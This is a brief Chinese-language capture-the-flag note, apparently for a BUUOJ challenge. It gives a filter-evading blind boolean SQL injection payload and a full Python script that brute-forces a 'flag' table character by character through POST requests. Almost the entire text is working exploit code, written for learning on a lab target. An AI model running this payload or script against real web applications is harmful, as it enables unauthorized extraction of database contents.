题目：
id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1)) 防过滤
直接贴脚本记录学习一下
import requests
from lxml import etree
def a():
url="http://6a93b089-ace7-4ece-8334-b10dd79ac360.node3.buuoj.cn/"
flag="Hello, glzjin wants a girlfriend."
final=""
stop=0
for i in range(1,1290):
print("*"*50,i,"*"*50)
stop=0
for j in range(32,129):
stop = j
data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)}
re = requests.post(url=url,data=data).text.replace('\n','')
html = etree.HTML(re).xpath("//text()")
# print(">>",html)
if flag in html:
final+=chr(j)
print("\n\t\t\t\t",final)
break
if stop >= 128:
print("*"*50,"结束")
print(">>",final)
break
if __name__ == '__main__':
a()
